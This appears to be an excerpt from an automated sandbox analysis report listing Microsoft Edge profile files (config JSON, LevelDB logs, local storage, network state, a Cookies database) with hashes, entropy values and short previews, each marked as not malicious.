C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324606165060286
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RQ:C1gAg1zfvo
MD5:	7C83134DFD388A0FD0F81880172E77A5
SHA1:	0ACE8C7B15585416069B80EA113FFF87477BF569
SHA-256:	A602FFFA395DCF9B624F81C6AF5B82B4AD2F6E2360B7BE2F4D09206E48D6AF10
SHA-512:	B425188624B4F3C9E6FD2FEB67BCB0E843CC4330AC5EEB78CB055059149416A985A3B35B540C5F8E8F618ACCA5ABAF8079B7110D6AB856139FBDD53CCC6478DE
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	399
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWW
MD5:	A15AC2782BB6B4407D11979316F678FD
SHA1:	B64EAF0810E180D99B83BBA8E366B2E3416C5881
SHA-256:	55F8FA21C3F0D42C973AEDF538F1ADE32563AE4A1E7107C939AB82B4A4D7859A
SHA-512:	370B43C7E434C6CC9328D266C1C9DB327621E2C95AD13D953C4D63457A141FBF2BE0B35072DE96BECC29048224D3646535A149229FC2BA367C7903D3E3E79BDB
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.057523667268741
Encrypted:	false
SSDEEP:	6:HU4Nkyq2P923oH+Tcwt8aPrqIFUt8YU4Ny1Zmw+YU4NZRkwO923oH+Tcwt8amLJ:9v4YebL3FUt8t1/+25LYebQJ
MD5:	85A4AA0C4158C298A145BA73BD48EDEB
SHA1:	494C8673FEF216B041CB20E3C243A829B368DA07
SHA-256:	C18EA25C974019394F92ADC1FD23063D126097A2E7910DDB637174B607281DB5
SHA-512:	326D1A0F3B8F41BB49628AB5FFA54F35AE8E10686216927189C9B2ED07CB6F0D6F391C75952C3BD3B3D15EFB4AC66913BCF413A6414CA895E5EEC60958328BB2
Malicious:	false
Preview:	2024/11/12-00:23:21.191 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/12-00:23:21.191 1d30 Recovering log #3.2024/11/12-00:23:21.192 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.057523667268741
Encrypted:	false
SSDEEP:	6:HU4Nkyq2P923oH+Tcwt8aPrqIFUt8YU4Ny1Zmw+YU4NZRkwO923oH+Tcwt8amLJ:9v4YebL3FUt8t1/+25LYebQJ
MD5:	85A4AA0C4158C298A145BA73BD48EDEB
SHA1:	494C8673FEF216B041CB20E3C243A829B368DA07
SHA-256:	C18EA25C974019394F92ADC1FD23063D126097A2E7910DDB637174B607281DB5
SHA-512:	326D1A0F3B8F41BB49628AB5FFA54F35AE8E10686216927189C9B2ED07CB6F0D6F391C75952C3BD3B3D15EFB4AC66913BCF413A6414CA895E5EEC60958328BB2
Malicious:	false
Preview:	2024/11/12-00:23:21.191 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/12-00:23:21.191 1d30 Recovering log #3.2024/11/12-00:23:21.192 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	399
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWW
MD5:	A15AC2782BB6B4407D11979316F678FD
SHA1:	B64EAF0810E180D99B83BBA8E366B2E3416C5881
SHA-256:	55F8FA21C3F0D42C973AEDF538F1ADE32563AE4A1E7107C939AB82B4A4D7859A
SHA-512:	370B43C7E434C6CC9328D266C1C9DB327621E2C95AD13D953C4D63457A141FBF2BE0B35072DE96BECC29048224D3646535A149229FC2BA367C7903D3E3E79BDB
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.077754810858961
Encrypted:	false
SSDEEP:	6:HU4NXVQHyq2P923oH+Tcwt865IFUt8YU4NXVcugr1Zmw+YU4NXVcug9RkwO923o4:hPv4Yeb/WFUt86t61/+6t85LYeb/+SJ
MD5:	CCD787412AAA1EE8B5014EA5C04FEB9E
SHA1:	73B3CA40DECC5D20203FB24534CDCFD430138A36
SHA-256:	0C872969E296E0A7556D46E508D6CB7C45764526D46629DC63FB89E0A35D5051
SHA-512:	DC5869A5805298C1964E6BD51ADAE840A875D9102965BAED2C347BA31CE3E9F23B4DB3380BB9C0708510C9A12215870398478B915A4B9CEE7AA98DDFC604A36B
Malicious:	false
Preview:	2024/11/12-00:23:21.205 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/12-00:23:21.209 1d30 Recovering log #3.2024/11/12-00:23:21.209 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.077754810858961
Encrypted:	false
SSDEEP:	6:HU4NXVQHyq2P923oH+Tcwt865IFUt8YU4NXVcugr1Zmw+YU4NXVcug9RkwO923o4:hPv4Yeb/WFUt86t61/+6t85LYeb/+SJ
MD5:	CCD787412AAA1EE8B5014EA5C04FEB9E
SHA1:	73B3CA40DECC5D20203FB24534CDCFD430138A36
SHA-256:	0C872969E296E0A7556D46E508D6CB7C45764526D46629DC63FB89E0A35D5051
SHA-512:	DC5869A5805298C1964E6BD51ADAE840A875D9102965BAED2C347BA31CE3E9F23B4DB3380BB9C0708510C9A12215870398478B915A4B9CEE7AA98DDFC604A36B
Malicious:	false
Preview:	2024/11/12-00:23:21.205 1d30 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/12-00:23:21.209 1d30 Recovering log #3.2024/11/12-00:23:21.209 1d30 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.116971583715779
Encrypted:	false
SSDEEP:	6:HU4NdXQJVq2P923oH+Tcwt8NIFUt8YU4NdXKZmw+YU4NdX2kwO923oH+Tcwt8+ed:BXQJVv4YebpFUt8EXK/+EX25LYebqJ
MD5:	358BCE74D9298567F0DA953AEC3E94D6
SHA1:	238EFE6388FF0BF14CA16E154CB09E4BDA456B3F
SHA-256:	EB4E3983950EC2AFDCFDA913B76F467D7BD7DC9775B4FB8D900C685FA1E3FE50
SHA-512:	203C29090CE303B56E078AB0E1270D648068004728B471A33602AAE6F9C46DCFC9B5314B94C12639A919C8B603C1EFF6F441676ED81A0FE971E7E1DFACD21668
Malicious:	false
Preview:	2024/11/12-00:23:21.825 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/12-00:23:21.826 1c90 Recovering log #3.2024/11/12-00:23:21.826 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.116971583715779
Encrypted:	false
SSDEEP:	6:HU4NdXQJVq2P923oH+Tcwt8NIFUt8YU4NdXKZmw+YU4NdX2kwO923oH+Tcwt8+ed:BXQJVv4YebpFUt8EXK/+EX25LYebqJ
MD5:	358BCE74D9298567F0DA953AEC3E94D6
SHA1:	238EFE6388FF0BF14CA16E154CB09E4BDA456B3F
SHA-256:	EB4E3983950EC2AFDCFDA913B76F467D7BD7DC9775B4FB8D900C685FA1E3FE50
SHA-512:	203C29090CE303B56E078AB0E1270D648068004728B471A33602AAE6F9C46DCFC9B5314B94C12639A919C8B603C1EFF6F441676ED81A0FE971E7E1DFACD21668
Malicious:	false
Preview:	2024/11/12-00:23:21.825 1c90 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/12-00:23:21.826 1c90 Recovering log #3.2024/11/12-00:23:21.826 1c90 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21880421027789762
Encrypted:	false
SSDEEP:	3:mMtFlljq7A/mhWJFuQ3yy7IOWUXQdweytllrE9SFcTp4AGbNCV9RUINM:m/75fOKd0Xi99pEYXM
MD5:	DA22CFB5AB6EC67D721407AC9E2EBEDB
SHA1:	FB1BDE0C2B2EB51341CCD56A0C16FEB119CFA6EB
SHA-256:	4874CA93D3CDA841B113D0A2EEBC9D5031DFC98F04A07942628E04540FDFFEAD
SHA-512:	094404B63ECBCEA57D2DB619DF3FF2A4082782E4C1D67E5FAD827B6CF057F1BDA0C24973297801E3C6D486322807411B56502D3D45159CDD50B554147B59652A
Malicious:	false
Preview:	..............+F...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6478048866433674
Encrypted:	false
SSDEEP:	384:aj9P0YcAjly773pLgP/KbtPgam6IzRKToaAkQkQerJhf:ad+Kly7WP/VjRKcYe2J9
MD5:	54A5206B503A54EDCFECC369355E570A
SHA1:	6054F7E1A85EB55DA7D08B8727DC544D77C73FAC
SHA-256:	2AD8F858BDE099145BE0BFD641431C9D79423DFCB33402D49ACA98DD26C14AB8
SHA-512:	43ED7B29C4A8B72CA58F1B8F0B353BC3FFC01BCC18DA5E8947CC86FF66E09A31420864DFF92726D7474E7B1BDF79411022A89A2EA74262939221F89C86ACAB57
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.216703450072599
Encrypted:	false
SSDEEP:	12:/A/+v4Yeb8rcHEZrELFUt8V/+5V5LYeb8rcHEZrEZSJ:/AE4Yeb8nZrExg82LYeb8nZrEZe
MD5:	9EED00C897751C0C2C5049BC6D9F5D9D
SHA1:	0E29E8D4A1902A21C4660F744A6B1BA4ED7BF35C
SHA-256:	00159EAAB59C4879DBC68A7446A25DC5A3311DCF404A74CE166E4C52AC7D439E
SHA-512:	CC0C86DFC3EE80A4C35C67BC127D3FF9CF04151526BB58976C484096E82B27205094C97E88AF048B69E2B57F49E44A0BD3414276C047C2718B1251924C6C18E2
Malicious:	false
Preview:	2024/11/12-00:23:25.326 1e1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/12-00:23:25.328 1e1c Recovering log #3.2024/11/12-00:23:25.328 1e1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.216703450072599
Encrypted:	false
SSDEEP:	12:/A/+v4Yeb8rcHEZrELFUt8V/+5V5LYeb8rcHEZrEZSJ:/AE4Yeb8nZrExg82LYeb8nZrEZe
MD5:	9EED00C897751C0C2C5049BC6D9F5D9D
SHA1:	0E29E8D4A1902A21C4660F744A6B1BA4ED7BF35C
SHA-256:	00159EAAB59C4879DBC68A7446A25DC5A3311DCF404A74CE166E4C52AC7D439E
SHA-512:	CC0C86DFC3EE80A4C35C67BC127D3FF9CF04151526BB58976C484096E82B27205094C97E88AF048B69E2B57F49E44A0BD3414276C047C2718B1251924C6C18E2
Malicious:	false
Preview:	2024/11/12-00:23:25.326 1e1c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/12-00:23:25.328 1e1c Recovering log #3.2024/11/12-00:23:25.328 1e1c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1656
Entropy (8bit):	5.679971660823365
Encrypted:	false
SSDEEP:	48:2AZTQNvVjXZWV03Sx4NybhTGHHHxda2LoEJ:2AN4Vb2cRxLn
MD5:	6AF7D54AEDA305C3A99A0903E88AC859
SHA1:	FA614207F5E6081F40BC33C0D1729ECBB953E8CD
SHA-256:	87BC12E9D083EA908898231184329C0E1B5018552F9E5F2E598B6E2B4D5B3565
SHA-512:	14DF7F9BD8C18195610DE3976E7FACA3F78D04F5F841C2D26B3C493D2F909D4160763D91ACFEED65D609243D6AE699A2E1D29C65C790F847E11E1A010A8D56A7
Malicious:	false
Preview:	%.}.y................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":709}.!_https://ntp.msn.com..LastKnownPV..1731389014028.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731389016035.._https://ntp.msn.com..MUID!.39559DFC669A689A222688C967CD69C0.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731389014104,"schedule":[-1,26,-1,4,14,-1,-1],"scheduleFixed":[-1,26,-1,4,14,-1,-1],"simpleSchedule":[23,32,12,40,24,17,25]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731389014001.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241112.30"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https:

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.1267213200354735
Encrypted:	false
SSDEEP:	6:HU4NdXz+q2P923oH+Tcwt8a2jMGIFUt8YU4NdXQLXJZmw+YU4NdXyGVkwO923oHr:BXKv4Yeb8EFUt8EXQjJ/+EXF5LYeb8bJ
MD5:	720D8D1FFD13F68E41FFC73874604F5B
SHA1:	E1B8282FEDD588D8D38339BADEF0FE45547970C7
SHA-256:	D5E24A7F7E3FA0266A59C707411D9D50E686BC8C00AE2B9CF1E028185B182DC5
SHA-512:	0AC70D39FF1579B19A2428087EE28CD86B2722AF407A54439EBC88CC5DA5C46F88CC307C9DE5779B04E0E67F6C10435B41A0095167DD79A2D7F7F7530F7AC36F
Malicious:	false
Preview:	2024/11/12-00:23:21.824 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/12-00:23:21.825 738 Recovering log #3.2024/11/12-00:23:21.828 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.1267213200354735
Encrypted:	false
SSDEEP:	6:HU4NdXz+q2P923oH+Tcwt8a2jMGIFUt8YU4NdXQLXJZmw+YU4NdXyGVkwO923oHr:BXKv4Yeb8EFUt8EXQjJ/+EXF5LYeb8bJ
MD5:	720D8D1FFD13F68E41FFC73874604F5B
SHA1:	E1B8282FEDD588D8D38339BADEF0FE45547970C7
SHA-256:	D5E24A7F7E3FA0266A59C707411D9D50E686BC8C00AE2B9CF1E028185B182DC5
SHA-512:	0AC70D39FF1579B19A2428087EE28CD86B2722AF407A54439EBC88CC5DA5C46F88CC307C9DE5779B04E0E67F6C10435B41A0095167DD79A2D7F7F7530F7AC36F
Malicious:	false
Preview:	2024/11/12-00:23:21.824 738 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/12-00:23:21.825 738 Recovering log #3.2024/11/12-00:23:21.828 738 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1135278a-e5e2-4f9a-9419-d9aa5bfbec0e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3731e2cd-52f3-4180-9d3d-d53a0da683ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4bb3cbda-4223-42eb-9166-e2269eaddeda.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1789
Entropy (8bit):	5.334375992541356
Encrypted:	false
SSDEEP:	48:YcgCzsG/tsvfc7kBaleeEssCgHwsCCgHMbxo+:FXA2kBakeoTKTMVo+
MD5:	5ADC1925A1855597B669A9FF0F6369FC
SHA1:	00C4DE1D7965CAE777F5D453B0E86B7F8E92743A
SHA-256:	887E891AF3E6F3541295A6C6FFE541349CC2D35D4D8E525ED8C701649D15630F
SHA-512:	79E493DAF50982A526D33001FD6466CD7E46081BA194D63A40DEE7C56F2A5001BDDAC37944F24AD1399FE0287A8F0A84BF179C9554CEE2AA161372DE591BE131
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378454604004780","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378454606575687","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9207ed22-a7b1-4518-b1b5-a2a6fe9d41c7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7745658444743673
Encrypted:	false
SSDEEP:	192:tT3uXqz6LnaZAxsQN9jfBBMNlb2oXcf0L/ZJVb:V3uXtDaZAiQN9jfBBoXI0LhJVb
MD5:	C0229916715B310B49405B7EB272F57E
SHA1:	AB29696BF0660DBAB78546FBA7C9E44B2775B057
SHA-256:	F186CC1025D02CD9A0FC7368A0D2661DC82537DE91D523208ADE58011FEEB155
SHA-512:	AF51728BDE99642FE5FA3D2E6DE5C06CAA8D64EDA9BF89107F6C729C0470176A985CA3C57A7476EDF85AA63BAA6CAA55AD24CA2A013D91A2870FCB92B70F8C71
Malicious:	false
